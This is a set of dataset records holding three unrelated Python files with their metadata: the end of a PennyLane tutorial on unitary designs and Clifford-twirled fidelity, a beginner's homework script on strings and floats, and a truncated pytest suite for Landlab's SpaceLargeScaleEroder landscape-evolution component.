apply_single_clifford(clifford_string, inverse=False)\n\n    for op in tape.operations:\n        qml.apply(op)\n\n    apply_single_clifford(clifford_string, inverse=True)\n\n    for m in tape.measurements:\n        qml.apply(m)\n\n######################################################################\n# You may have noticed this transform has exactly the same form as\n# ``conjugate_with_unitary`` from above. Only the input type has changed, since\n# the application of Cliffords here is specified by their string representation.\n#\n# It's now time to run the experiments:\n\nfidelities = []\n\nfor C in single_qubit_cliffords:\n    conjugated_ideal_experiment = conjugate_with_clifford(C)(ideal_experiment)\n    conjugated_noisy_experiment = conjugate_with_clifford(C)(noisy_experiment)\n\n    ideal_qnode = qml.QNode(conjugated_ideal_experiment, dev)\n    noisy_qnode = qml.QNode(conjugated_noisy_experiment, dev)\n\n    ideal_state = ideal_qnode()\n    noisy_state = noisy_qnode()\n\n    fidelities.append(fidelity(ideal_state, noisy_state))\n\n######################################################################\n# Let's see how our results compare to the earlier simulation:\n\nclifford_fid_mean = np.mean(fidelities)\n\nprint(f\"Haar-random mean fidelity = {fid_mean}\")\nprint(f\"Clifford mean fidelity    = {clifford_fid_mean}\")\n\n######################################################################\n# Incredible \ud83e\udd2f \ud83e\udd2f \ud83e\udd2f We were able to compute the average fidelity using only\n# 24 experiments. Furthermore, the mean fidelity obtained from the Clifford\n# experiments is **exact**; even with 50000 Haar-random experiments, we see\n# deviations starting a few decimal places in. Consider the resources that would\n# be saved if you were actually implementing this in a lab! It's not hard to see\n# why the Clifford group plays such an important role in characterization\n# procedures.\n#\n# Conclusion\n# ----------\n#\n# In this demo, we've barely scratched the surface of designs and their\n# applications in quantum computing. While benchmarking is a key application\n# area, there are many others.  The Pauli group as a unitary 1-design has\n# applications in the construction of private quantum channels [#PQC]_.\n# *Approximate* unitary :math:`t`-designs (where the equality in the definition\n# is replaced by approximately equal up to some finite precision) are also of\n# interest, as there ways to construct them that are more efficient than those\n# of exact designs [#Dankert]_. In particular, it has been shown that\n# approximate complex projective 4-designs have applications to the state\n# discrimination problem [#Ambainis]_.\n#\n# Furthermore, unitary designs are not the only designs that you'll encounter\n# in quantum computing. The familiar Hadamard gate is just a 2-dimensional\n# example of a broader family of *Hadamard designs*, on which there has been\n# extensive research [#Seberry]_. Some sets of `mutually orthogonal Latin\n# squares <https://en.wikipedia.org/wiki/Mutually_orthogonal_Latin_squares>`__\n# have a direct correspondence with mutually unbiased bases, which are optimal\n# quantum measurements [#Gaeta]_, as well as complex projective designs; and Latin\n# squares themselves have direct correspondence with affine and projective\n# planes, bringing us full circle back to the Fano plane from which we began.\n#\n#\n# .. figure:: /demonstrations/unitary_designs/affine-latin.svg\n#    :align: center\n#    :width: 80%\n#\n#    An affine plane, Hadamard matrix, and a depiction of mutually orthogonal Latin squares.\n#\n# References\n# ----------\n#\n# .. [#Handbook]\n#\n#     C. J. Colbourn and J. H. Dinitz (2006) *Handbook of Combinatorial Designs,\n#     Second Edition*.  Chapman & Hall/CRC.\n#\n# .. [#Delsarte]\n#\n#    P. Delsarte, J.M. Goethals, J.J. Seidel (1977) *Spherical Codes and Designs*. Geometriae\n#    Dedicata 6 363-388.\n#\n# .. [#sph4design]\n#\n#    R. H. Hardin and N. J. A. Sloane (1992) *New spherical 4-designs*. Discrete\n#    Mathematics, 106-107 (255-264). `(PDF)\n#    <https://www.sciencedirect.com/science/article/pii/0012365X9290552Q>`__.\n#\n# .. [#Ambainis]\n#\n#    A. Ambainis and J. Emerson (2007) *Quantum t-designs: t-wise independence\n#    in the quantum world.* Twenty-Second Annual IEEE Conference on\n#    Computational Complexity 129-140.\n#    `(arXiv) <https://arxiv.org/abs/quant-ph/0701126>`__.\n#\n# .. [#Klappenecker]\n#\n#    A. Klappenecker and M. Roetteler (2005) *Mutually unbiased bases, spherical\n#    designs, and frames.* Proceedings of SPIE Vol. 5914.\n#\n# .. [#Dankert]\n#\n#    C. Dankert, R. Cleve, J. Emerson, and E. Levine (2009) *Exact and\n#    Approximate Unitary 2-Designs: Constructions and Applications.* Phys. Rev. A 80, 012304.\n#    `(arXiv) <https://arxiv.org/abs/quant-ph/0606161>`__.\n#\n# .. [#DankertThesis]\n#\n#    C. Dankert (2005) *Efficient Simulation of Random Quantum States and\n#    Operators.* MSc Thesis, University of Waterloo. `(arXiv)\n#    <https://arxiv.org/abs/quant-ph/0512217>`__.\n#\n# .. [#Gross]\n#\n#    D. Gross, K. Audenaert, and J. Eisert (2007) *Evenly distributed unitaries:\n#    on the structure of unitary designs*. J. Math. Phys. 48, 052104.\n#    `(arXiv) <https://arxiv.org/abs/quant-ph/0611002>`__.\n#\n# .. [#Roy]\n#\n#    A. Roy and A. J. Scott (2009) *Unitary designs and codes*. Des. Codes Cryptogr. 53 13-31.\n#    `(arXiv) <https://arxiv.org/abs/0809.3813>`__.\n#\n# .. [#Bannai]\n#\n#    E. Bannai, M. Nakahara, D. Zhao, and Y. Zhu (2019) *On the explicit constructions of\n#    certain unitary t-designs.* J. Phys. A: Math. Theor. 52 495301.\n#    `(arXiv) <https://arxiv.org/abs/1906.04583>`__.\n#\n# .. [#Nakata]\n#\n#    Y. Nakata et al. (2021) *Quantum circuits for exact unitary t-designs and\n#    applications to higher-order randomized benchmarking.* `(arXiv)\n#    <https://arxiv.org/abs/2102.12617>`__.\n#\n# .. [#PQC]\n#\n#    A. Ambainis, M. Mosca, A. Tapp, and R. de Wolf (2000) *Private Quantum Channels*. Proc.\n#    41st FOCS, 547-553. `(PDF) <https://homepages.cwi.nl/~rdewolf/publ/qc/AMTW00.pdf>`__.\n#\n# .. [#Seberry]\n#\n#    J. Seberry and M. Yamada (1992) *Hadamard matrices, sequences, and block\n#    designs.* Contemporary Design Theory -- A Collection of Surveys\n#    (D. J. Stinson and J. Dinitz, Eds.), John Wiley and Sons, 431-560.\n#    `(PDF) <http://mathscinet.ru/files/YamadaSeberry1992.pdf>`__.\n#\n# .. [#Gaeta]\n#\n#    M. Gaeta, O. Di Matteo, A. B. Klimov, and H. de Guise (2014) *Discrete phase-space\n#    approach to mutually orthogonal Latin squares*. J. Phys. A: Math. Theor. 47 (43) 435303.\n#    `(arXiv) <https://arxiv.org/abs/1408.6742>`__.\n", "meta": {"hexsha": "e1cb0dd9333cbe4a9ceb5bfd1bbbd78f09c2308f", "size": 31218, "ext": "py", "lang": "Python", "max_stars_repo_path": "demonstrations/tutorial_unitary_designs.py", "max_stars_repo_name": "jamesellis1999/qml", "max_stars_repo_head_hexsha": "33c9d66712b36861dc098f9c789ba2c3ab897fdb", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 216, "max_stars_repo_stars_event_min_datetime": "2020-08-01T03:18:37.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-25T06:17:52.000Z", "max_issues_repo_path": "demonstrations/tutorial_unitary_designs.py", "max_issues_repo_name": "jamesellis1999/qml", "max_issues_repo_head_hexsha": "33c9d66712b36861dc098f9c789ba2c3ab897fdb", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 173, "max_issues_repo_issues_event_min_datetime": "2020-08-05T09:24:15.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-30T13:37:05.000Z", "max_forks_repo_path": "demonstrations/tutorial_unitary_designs.py", "max_forks_repo_name": "jamesellis1999/qml", "max_forks_repo_head_hexsha": "33c9d66712b36861dc098f9c789ba2c3ab897fdb", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 66, "max_forks_repo_forks_event_min_datetime": "2020-08-01T05:02:45.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-02T19:34:54.000Z", "avg_line_length": 42.3582089552, "max_line_length": 148, "alphanum_fraction": 0.6883208405, "include": true, "reason": "import numpy,from scipy", "num_tokens": 8495, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.37754066879814546, "lm_q2_score": 0.1540575665754383, "lm_q1q2_score": 0.05816299671830579}}
{"text": "import numpy as np\nimport decimal\nimport string\n#homeworkLayout.py\nprint(\"\"\"\nJames Caton\nECON 411 / 611\nHomework\n\"\"\")\n\nprint(\"\"\"\n1. Record your name in an object (x = ...) and a description of yourself in \nanother object. \n\"\"\")\n\n#first name\nfirst = \"James\"\n#middle name\nmiddle = \"Lee\"\n#last name\nlast = \"Caton\"\n#full name combines the first middle and last\nfull_name = first + \" \" + middle + \" \" + last\n\nprint(\"\"\"\nSCRIPT:\n#first name\nfirst = \"James\"\n#middle name\nmiddle = \"Lee\"\n#last name\nlast = \"Caton\"\n#full name combines the first middle and last\nfull_name = first + middle + last\n\nRESULT:\n\"\"\")\nprint(full_name)\n\nprint(\"\"\"\nEXPLANATION:\nI save my first middle and last names as three separate string objects and then \nconcatenate them in one object name full_name.\n\"\"\")\n\n\n    \n    \n\nprint(\"\"\"\n2. Raise 2 to the 4th power. Save the value as an object named \ntwo_to_the_fourth. Then create a new value that sums the value twice. \nCreate another variable that saves the value of twoToTheFourth as a string. \nJust as with the numeric value, sum the string object twice.\n\"\"\")\n\ntwo_to_the_fourth = 2 ** 4\ntwo_to_the_fourth_summed_twice = two_to_the_fourth + two_to_the_fourth\ntwo_to_the_fourth_string = str(two_to_the_fourth)\ntwo_to_the_fourth_summed_twice_string = two_to_the_fourth_string + two_to_the_fourth_string \nprint(\"\"\"\nSCRIPT:\n\ntwo_to_the_fourth = 2 ** 4\ntwo_to_the_fourth_summed_twice = two_to_the_fourth + two_to_the_fourth\ntwo_to_the_fourth_string = str(two_to_the_fourth)\ntwo_to_the_fourth_summed_twice_string = two_to_the_fourth_string + two_to_the_fourth_string \n    \n    \nRESULT:\n\"\"\")\n\nprint(two_to_the_fourth)\nprint(two_to_the_fourth_summed_twice)\nprint(two_to_the_fourth_string)\nprint(two_to_the_fourth_summed_twice_string )\n\nprint(\"\"\"\nExplanation:\nThe value  2 ** 4 was saved as two_to_the_fourth. By summing the value twice,\nwe produced 32. When two_to_the_fourth was saved as a string, using the +\nsone resulted in the string version of the value being concatenated, thus\nproducing 1616.\n\"\"\")    \n    \n    \n    \n    \nprint(\"\"\"\n3. Find the list of escape sequences in section 2.4: \nhttps://docs.python.org/3/reference/lexical_analysis.html#literals \ncreate a string that uses at least 4 different escape sequences.\n\"\"\")\n\ntab_word = \"I use the \\t tab escape sequence\"\nnew_line = \"It was boring,\\nso I made a new line\"\nescape_quote = \"How \\\"convenient\\\" it is to include scare quote\"\nbackslash = \"And who knew that \\\"\\\\\\\" did so much work!\"\n\n    \nprint(\"\"\"\nSCRIPT:\ntab_word = \"I use the \\\\t tab escape sequence\"\nnew_line = \"It was boring,\\\\nso I made a new line\"\nescape_quote = \"How \\\\\"convenient\\\\\" it is to include scare quote\"\nbackslash = \"And who knew that \\\\\"\\\\\\\\\\\\\" did so much work!\"\n\n    \nRESULT:\n\"\"\")  \nprint(tab_word, new_line, escape_quote, backslash, sep=\"n\")\n    \n    \n\n\n\n\n\n\n\nprint(\"\"\"    \n4. Add an integer and a float together. Is the final number an integer or a \nfloat?\n\"\"\")\n\n\nprint(\"\"\"\nSCRIPT:\n\n    \n    \nRESULT:\n\"\"\")\n\n\n    \n    \n    \n    \n    \n    \n    \nprint(\"\"\"\n5. Add 2 ** 1024 + 1.5. What is the outcome? Why? hint: Try adding .5, 1, and  \n1.1 instead of 1.5.\n\"\"\")\nval = 2 ** 1024\n# 2 ** 1024 + 1.0 is to large of a value to fit in the float datatype\n#new_val0 = 2**1024 + 1.0 \n#similar error as above\nnew_val1 = decimal.Decimal(val) + decimal.Decimal(.5)\nnew_val2 = val + 1\n#same float error\n#new_val3 = val + 1.1\n\nprint(\"\"\"\nSCRIPT:\n\n    \n    \nRESULT:\n\"\"\")\nprint(val)\nprint(new_val1)\nprint(\"\"\"\nEXPLANATION: Python has constraints in regard to the size of values saved as\nfloats (values decimals). 2.0**1024 is too large to be contained as a float.\nWhen you add a float to an integer, the result is converted into a float. Thus\n2 ** 1024 + 1.0 results in a value that cannot be contained as a float...\"\"\")\n\nprint(\"\"\"\n6. import the string library with the script \"import string\". Print \nstring.__dict__ . What is the output? If you do not understand the meaning,\nsearch \"python class __dict__\" and find an explanation.\n\"\"\")\nprint(string.__dict__)\n", "meta": {"hexsha": "c9b60bc9cb796c23f49935a68c1a55986c682e45", "size": 3984, "ext": "py", "lang": "Python", "max_stars_repo_path": "In Class Projects/In Class Examples Fall 2019/Section 1/homeworkLayout.py", "max_stars_repo_name": "hunterluepke/Learn-Python-for-Stats-and-Econ", "max_stars_repo_head_hexsha": "d580a8e27ba937fc8401ac6d0714b6488ac8bbb6", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 16, "max_stars_repo_stars_event_min_datetime": "2019-01-10T18:54:13.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-28T20:07:20.000Z", "max_issues_repo_path": "In Class Projects/In Class Examples Fall 2019/Section 1/homeworkLayout.py", "max_issues_repo_name": "hunterluepke/Learn-Python-for-Stats-and-Econ", "max_issues_repo_head_hexsha": "d580a8e27ba937fc8401ac6d0714b6488ac8bbb6", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "In Class Projects/In Class Examples Fall 2019/Section 1/homeworkLayout.py", "max_forks_repo_name": "hunterluepke/Learn-Python-for-Stats-and-Econ", "max_forks_repo_head_hexsha": "d580a8e27ba937fc8401ac6d0714b6488ac8bbb6", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 15, "max_forks_repo_forks_event_min_datetime": "2019-01-24T17:11:20.000Z", "max_forks_repo_forks_event_max_datetime": "2021-12-11T01:53:57.000Z", "avg_line_length": 22.5084745763, "max_line_length": 92, "alphanum_fraction": 0.7115963855, "include": true, "reason": "import numpy", "num_tokens": 1094, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.480478678047907, "lm_q2_score": 0.12085323882332895, "lm_q1q2_score": 0.058067404427641085}}
{"text": "import copy as cp\n\nimport numpy as np\nimport pytest\nfrom numpy import testing\n\nfrom landlab import FieldError, HexModelGrid, RasterModelGrid\nfrom landlab.components import (\n    FlowAccumulator,\n    PriorityFloodFlowRouter,\n    SpaceLargeScaleEroder,\n)\n\n\ndef test_inputFields_flowRouter():\n    \"\"\"\n    SpaceLargeScaleEroder should throw an error when topograhy is not equal to the sum of\n    bedrock and soil thickness\n    \"\"\"\n    # %%\n    # Make a raster model grid and create a plateau\n    mg = RasterModelGrid((5, 5))\n    z = mg.add_zeros(\"topographic__elevation\", at=\"node\")\n    br = mg.add_zeros(\"bedrock__elevation\", at=\"node\")\n    br[:] = mg.x_of_node + mg.y_of_node\n    soil = mg.add_zeros(\"soil__depth\", at=\"node\")\n    z[:] = br + soil\n    fa = FlowAccumulator(mg, flow_director=\"D8\")\n    fa.run_one_step()\n\n    # make plateau at 10m\n    br += 10\n\n    # Instanciate the slider\n    with pytest.raises(AssertionError):\n        _ = SpaceLargeScaleEroder(mg)\n\n\n# %%\ndef test_inputFields_soil():\n    \"\"\"\n    SpaceLargeScaleEroder should throw an error when the soil__depth field is not provided\n    \"\"\"\n    # %%\n    mg = RasterModelGrid((5, 5))\n    _ = mg.add_zeros(\"topographic__elevation\", at=\"node\")\n    _ = mg.add_zeros(\"bedrock__elevation\", at=\"node\")\n    fa = FlowAccumulator(mg, flow_director=\"D8\")\n    fa.run_one_step()\n\n    # Instanciate the slider\n    with pytest.raises(FieldError):\n        _ = SpaceLargeScaleEroder(mg)\n\n\n# %%\ndef test_inputFields_bedrock():\n    \"\"\"\n    SpaceLargeScaleEroder should instanciate the bedrock__elevation field\n    when it is not provided\n    \"\"\"\n    # %%\n    mg = RasterModelGrid((5, 5))\n    _ = mg.add_zeros(\"topographic__elevation\", at=\"node\")\n    _ = mg.add_zeros(\"soil__depth\", at=\"node\")\n    fa = FlowAccumulator(mg, flow_director=\"D8\")\n    fa.run_one_step()\n    _ = SpaceLargeScaleEroder(mg)\n\n    assert \"bedrock__elevation\" in mg.at_node.keys()\n\n\n# %%\ndef test_properties_phi_fraction_fines_LS():\n    \"\"\"\n    SpaceLargeScaleEroder should throw an error when phi/fraction_fines_LS < 0 or phi > 0\n    \"\"\"\n    # %%\n    mg = RasterModelGrid((5, 5))\n    z = mg.add_zeros(\"topographic__elevation\", at=\"node\")\n    br = mg.add_zeros(\"bedrock__elevation\", at=\"node\")\n    br[:] = mg.x_of_node + mg.y_of_node\n    soil = mg.add_zeros(\"soil__depth\", at=\"node\")\n    z[:] = br + soil\n    fa = FlowAccumulator(mg, flow_director=\"D8\")\n    fa.run_one_step()\n\n    # Instanciate the slider\n    with pytest.raises(ValueError):\n        _ = SpaceLargeScaleEroder(mg, phi=-0.2)\n    # Instanciate the slider\n    with pytest.raises(ValueError):\n        _ = SpaceLargeScaleEroder(mg, phi=1.2)\n    # Instanciate the slider\n    with pytest.raises(ValueError):\n        _ = SpaceLargeScaleEroder(mg, F_f=-0.2)\n    # Instanciate the slider\n    with pytest.raises(ValueError):\n        _ = SpaceLargeScaleEroder(mg, F_f=1.2)\n\n\n# %%\n\n\ndef test_route_to_multiple_error_raised():\n    # %%\n    mg = RasterModelGrid((10, 10))\n    z = mg.add_zeros(\"topographic__elevation\", at=\"node\")\n    br = mg.add_zeros(\"bedrock__elevation\", at=\"node\")\n    br[:] = mg.x_of_node + mg.y_of_node\n    soil = mg.add_zeros(\"soil__depth\", at=\"node\")\n    z[:] = br + soil\n    fa = FlowAccumulator(mg, flow_director=\"MFD\")\n    fa.run_one_step()\n\n    with pytest.raises(NotImplementedError):\n        SpaceLargeScaleEroder(\n            mg,\n            K_sed=0.1,\n            K_br=0.1,\n            F_f=0.5,\n            phi=0.1,\n            H_star=1.0,\n            v_s=0.001,\n            m_sp=1.0,\n            n_sp=0.5,\n            sp_crit_sed=0,\n            sp_crit_br=0,\n        )\n\n\n# %%\ndef test_soil_field_already_on_grid():\n    # %%\n    \"\"\"\n    Test that an existing soil grid field is not changed by instantiating\n    SpaceLargeScaleEroder.\n    \"\"\"\n\n    # set up a 5x5 grid with one open outlet node and low initial elevations.\n    nr = 5\n    nc = 5\n    mg = RasterModelGrid((nr, nc), xy_spacing=10.0)\n\n    z = mg.add_zeros(\"topographic__elevation\", at=\"node\")\n    br = mg.add_zeros(\"bedrock__elevation\", at=\"node\")\n    soil = mg.add_zeros(\"soil__depth\", at=\"node\")\n    soil += 1.0  # add 1m of soil everywehre\n\n    mg[\"node\"][\"topographic__elevation\"] += (\n        mg.node_y / 10000 + mg.node_x / 10000 + np.random.rand(len(mg.node_y)) / 10000\n    )\n    mg.set_closed_boundaries_at_grid_edges(\n        bottom_is_closed=True,\n        left_is_closed=True,\n        right_is_closed=True,\n        top_is_closed=True,\n    )\n    mg.set_watershed_boundary_condition_outlet_id(\n        0, mg[\"node\"][\"topographic__elevation\"], -9999.0\n    )\n    br[:] = z - soil\n\n    # Create a D8 flow handler\n    FlowAccumulator(mg, flow_director=\"D8\")\n\n    # Instantiate SpaceLargeScaleEroder\n    sp = SpaceLargeScaleEroder(\n        mg,\n        K_sed=0.01,\n        K_br=0.01,\n        F_f=0.0,\n        phi=0.0,\n        v_s=0.001,\n        m_sp=0.5,\n        n_sp=1.0,\n        sp_crit_sed=0,\n        sp_crit_br=0,\n    )\n\n    # ensure that 'soil__depth' field is everywhere equal to 1.0 m.\n    testing.assert_array_equal(\n        np.ones(mg.number_of_nodes),\n        sp._soil__depth,\n        err_msg=\"SpaceLargeScaleEroder soil depth field test failed\",\n        verbose=True,\n    )\n\n    # %% Check getters\n    testing.assert_array_equal(\n        0.01,\n        sp.K_br,\n        err_msg=\"Parameter value issue\",\n        verbose=True,\n    )\n    testing.assert_array_equal(\n        0.01,\n        sp.K_sed,\n        err_msg=\"Parameter value issue\",\n        verbose=True,\n    )\n    # sediment erosion is zero before running the component\n    testing.assert_array_equal(\n        np.zeros(mg.number_of_nodes),\n        sp.Es,\n        err_msg=\"Parameter value issue\",\n        verbose=True,\n    )\n    # rock erosion is zero before running the component\n    testing.assert_array_equal(\n        np.zeros(mg.number_of_nodes),\n        sp.Er,\n        err_msg=\"Parameter value issue\",\n        verbose=True,\n    )\n    # %% Check setters\n    sp.K_br = 0.02\n    testing.assert_array_equal(\n        0.02,\n        sp.K_br,\n        err_msg=\"Parameter value issue\",\n        verbose=True,\n    )\n    sp.K_sed = 0.02\n    testing.assert_array_equal(\n        0.02,\n        sp.K_sed,\n        err_msg=\"Parameter value issue\",\n        verbose=True,\n    )\n\n    with pytest.raises(AttributeError):\n        sp.Es = np.zeros(mg.number_of_nodes)\n\n    with pytest.raises(AttributeError):\n        sp.Er = np.zeros(mg.number_of_nodes)\n\n\n# %%\n\n\ndef test_br_field_already_on_grid():\n    # %%\n    \"\"\"\n    Test that an existing bedrock elevation grid field is not changed by\n    instantiating SpaceLargeScaleEroder.\n    \"\"\"\n\n    # set up a 5x5 grid with one open outlet node and low initial elevations.\n    nr = 5\n    nc = 5\n    mg = RasterModelGrid((nr, nc), xy_spacing=10.0)\n\n    z = mg.add_zeros(\"topographic__elevation\", at=\"node\")\n    br = mg.add_zeros(\"bedrock__elevation\", at=\"node\")\n    br += 1.0  # make bedrock elevation 5m below surface\n    soil = mg.add_zeros(\"soil__depth\", at=\"node\")\n\n    mg[\"node\"][\"topographic__elevation\"] += (\n        mg.node_y / 10000 + mg.node_x / 10000 + np.random.rand(len(mg.node_y)) / 10000\n    )\n    mg.set_closed_boundaries_at_grid_edges(\n        bottom_is_closed=True,\n        left_is_closed=True,\n        right_is_closed=True,\n        top_is_closed=True,\n    )\n    mg.set_watershed_boundary_condition_outlet_id(\n        0, mg[\"node\"][\"topographic__elevation\"], -9999.0\n    )\n    z[:] = br + soil\n\n    # Create a D8 flow handler\n    FlowAccumulator(mg, flow_director=\"D8\")\n\n    # Instantiate SpaceLargeScaleEroder\n    sp = SpaceLargeScaleEroder(\n        mg,\n        K_sed=0.01,\n        K_br=0.01,\n        F_f=0.0,\n        phi=0.0,\n        v_s=0.001,\n        m_sp=0.5,\n        n_sp=1.0,\n        sp_crit_sed=0,\n        sp_crit_br=0,\n    )\n\n    # ensure that 'bedrock__elevation' field is everywhere equal to 1.0 m.\n    testing.assert_array_equal(\n        np.ones(mg.number_of_nodes),\n        sp._bedrock__elevation,\n        err_msg=\"SpaceLargeScaleEroder bedrock field test failed\",\n        verbose=True,\n    )\n\n\n# %%\ndef test_matches_detachment_solution():\n    # %%\n    \"\"\"\n    Test that model matches the detachment-limited analytical solution\n    for slope/area relationship at steady state: S=(U/K_br)^(1/n)*A^(-m/n).\n    \"\"\"\n\n    # %% set up a 5x5 grid with one open outlet node and low initial elevations.\n    nr = 5\n    nc = 5\n    mg = RasterModelGrid((nr, nc), xy_spacing=10.0)\n\n    z = mg.add_zeros(\"topographic__elevation\", at=\"node\")\n    br = mg.add_zeros(\"bedrock__elevation\", at=\"node\")\n    soil = mg.add_zeros(\"soil__depth\", at=\"node\")\n\n    mg[\"node\"][\"topographic__elevation\"] += (\n        mg.node_y / 10000 + mg.node_x / 10000 + np.random.rand(len(mg.node_y)) / 10000\n    )\n    mg.set_closed_boundaries_at_grid_edges(\n        bottom_is_closed=True,\n        left_is_closed=True,\n        right_is_closed=True,\n        top_is_closed=True,\n    )\n    mg.set_watershed_boundary_condition_outlet_id(\n        0, mg[\"node\"][\"topographic__elevation\"], -9999.0\n    )\n    br[:] = z[:] - soil[:]\n\n    # Create a D8 flow handler\n    fa = FlowAccumulator(mg, flow_director=\"D8\")\n\n    # Parameter values for detachment-limited test\n    K_br = 0.01\n    U = 0.0001\n    dt = 1.0\n    F_f = 1.0  # all detached rock disappears; detachment-ltd end-member\n    m_sp = 0.5\n    n_sp = 1.0\n\n    # Instantiate the SpaceLargeScaleEroder component...\n    sp = SpaceLargeScaleEroder(\n        mg,\n        K_sed=0.00001,\n        K_br=K_br,\n        F_f=F_f,\n        phi=0.1,\n        H_star=1.0,\n        v_s=0.001,\n        m_sp=m_sp,\n        n_sp=n_sp,\n        sp_crit_sed=0,\n        sp_crit_br=0,\n    )\n\n    # ... and run it to steady state (2000x1-year timesteps).\n    for _ in range(2000):\n        fa.run_one_step()\n        sp.run_one_step(dt=dt)\n        z[mg.core_nodes] += U * dt  # m\n        br[mg.core_nodes] = z[mg.core_nodes] - soil[mg.core_nodes]\n\n    # compare numerical and analytical slope solutions\n    num_slope = mg.at_node[\"topographic__steepest_slope\"][mg.core_nodes]\n    analytical_slope = np.power(U / K_br, 1.0 / n_sp) * np.power(\n        mg.at_node[\"drainage_area\"][mg.core_nodes], -m_sp / n_sp\n    )\n\n    # test for match with analytical slope-area relationship\n    testing.assert_array_almost_equal(\n        num_slope,\n        analytical_slope,\n        decimal=8,\n        err_msg=\"SpaceLargeScaleEroder detachment-limited test failed\",\n        verbose=True,\n    )\n\n\n# %%\ndef test_matches_detachment_solution_n_gr_1():\n    # %%\n    \"\"\"\n    Test that model matches the detachment-limited analytical solution\n    for slope/area relationship at steady state: S=(U/K_br)^(1/n)*A^(-m/n).\n    \"\"\"\n\n    # %% set up a 5x5 grid with one open outlet node and low initial elevations.\n    nr = 5\n    nc = 5\n    mg = RasterModelGrid((nr, nc), xy_spacing=10.0)\n\n    z = mg.add_zeros(\"topographic__elevation\", at=\"node\")\n    br = mg.add_zeros(\"bedrock__elevation\", at=\"node\")\n    soil = mg.add_zeros(\"soil__depth\", at=\"node\")\n\n    mg[\"node\"][\"topographic__elevation\"] += (\n        mg.node_y / 10000 + mg.node_x / 10000 + np.random.rand(len(mg.node_y)) / 10000\n    )\n    mg.set_closed_boundaries_at_grid_edges(\n        bottom_is_closed=True,\n        left_is_closed=True,\n        right_is_closed=True,\n        top_is_closed=True,\n    )\n    mg.set_watershed_boundary_condition_outlet_id(\n        0, mg[\"node\"][\"topographic__elevation\"], -9999.0\n    )\n    br[:] = z[:] - soil[:]\n\n    # Create a D8 flow handler\n    fa = FlowAccumulator(mg, flow_director=\"D8\")\n\n    # Parameter values for detachment-limited test\n    K_br = 0.01\n    U = 0.0001\n    dt = 1.0\n    F_f = 1.0  # all detached rock disappears; detachment-ltd end-member\n    m_sp = 0.5\n    n_sp = 1.1\n\n    # Instantiate the SpaceLargeScaleEroder component...\n    sp = SpaceLargeScaleEroder(\n        mg,\n        K_sed=0.00001,\n        K_br=K_br,\n        F_f=F_f,\n        phi=0.1,\n        H_star=1.0,\n        v_s=0.001,\n        m_sp=m_sp,\n        n_sp=n_sp,\n        sp_crit_sed=0,\n        sp_crit_br=0,\n    )\n\n    # ... and run it to steady state (2000x1-year timesteps).\n    for _ in range(4000):\n        fa.run_one_step()\n        sp.run_one_step(dt=dt)\n        z[mg.core_nodes] += U * dt  # m\n        br[mg.core_nodes] = z[mg.core_nodes] - soil[mg.core_nodes]\n\n    # compare numerical and analytical slope solutions\n    num_slope = mg.at_node[\"topographic__steepest_slope\"][mg.core_nodes]\n    analytical_slope = np.power(U / K_br, 1.0 / n_sp) * np.power(\n        mg.at_node[\"drainage_area\"][mg.core_nodes], -m_sp / n_sp\n    )\n\n    # test for match with analytical slope-area relationship\n    testing.assert_array_almost_equal(\n        num_slope,\n        analytical_slope,\n        decimal=8,\n        err_msg=\"SpaceLargeScaleEroder detachment-limited test failed\",\n        verbose=True,\n    )\n\n\n# %%\n\n\n@pytest.mark.slow\ndef test_matches_transport_solution():\n    # %%\n    \"\"\"\n    Test that model matches the transport-limited analytical solution\n    for slope/area relationship at steady state: S=((U * v_s) / (K_sed * A^m)\n    + U / (K_sed * A^m))^(1/n).\n\n    Also test that model matches the analytical solution for steady-state\n    sediment flux: Qs = U * A * (1 - phi).\n    \"\"\"\n\n    # set up a 5x5 grid with one open outlet node and low initial elevations.\n    nr = 5\n    nc = 5\n    mg = RasterModelGrid((nr, nc), xy_spacing=10.0)\n\n    z = mg.add_zeros(\"topographic__elevation\", at=\"node\")\n    br = mg.add_zeros(\"bedrock__elevation\", at=\"node\")\n    soil = mg.add_zeros(\"soil__depth\", at=\"node\")\n\n    mg[\"node\"][\"topographic__elevation\"] += (\n        mg.node_y / 100000 + mg.node_x / 100000 + np.random.rand(len(mg.node_y)) / 10000\n    )\n    mg.set_closed_boundaries_at_grid_edges(\n        bottom_is_closed=True,\n        left_is_closed=True,\n        right_is_closed=True,\n        top_is_closed=True,\n    )\n    mg.set_watershed_boundary_condition_outlet_id(\n        0, mg[\"node\"][\"topographic__elevation\"], -9999.0\n    )\n    soil[:] += 100.0  # initial soil depth of 100 m\n    br[:] = z[:]\n    z[:] += soil[:]\n\n    # Create a D8 flow handler\n    fa = FlowAccumulator(\n        mg, flow_director=\"D8\", depression_finder=\"DepressionFinderAndRouter\"\n    )\n\n    # Parameter values for detachment-limited test\n    K_sed = 0.01\n    U = 0.0001\n    dt = 1.0\n    F_f = 1.0  # all detached rock disappears; detachment-ltd end-member\n    m_sp = 0.5\n    n_sp = 1.0\n    v_s = 0.5\n    phi = 0.5\n\n    # Instantiate the SpaceLargeScaleEroder component...\n    sp = SpaceLargeScaleEroder(\n        mg,\n        K_sed=K_sed,\n        K_br=0.01,\n        F_f=F_f,\n        phi=phi,\n        H_star=1.0,\n        v_s=v_s,\n        m_sp=m_sp,\n        n_sp=n_sp,\n        sp_crit_sed=0,\n        sp_crit_br=0,\n    )\n\n    # ... and run it to steady state (5000x1-year timesteps).\n    for _ in range(5000):\n        fa.run_one_step()\n        sp.run_one_step(dt=dt)\n        br[mg.core_nodes] += U * dt  # m\n        soil[\n            0\n        ] = 100.0  # enforce constant soil depth at boundary to keep lowering steady\n        z[:] = br[:] + soil[:]\n\n    # compare numerical and analytical slope solutions\n    num_slope = mg.at_node[\"topographic__steepest_slope\"][mg.core_nodes]\n    analytical_slope = 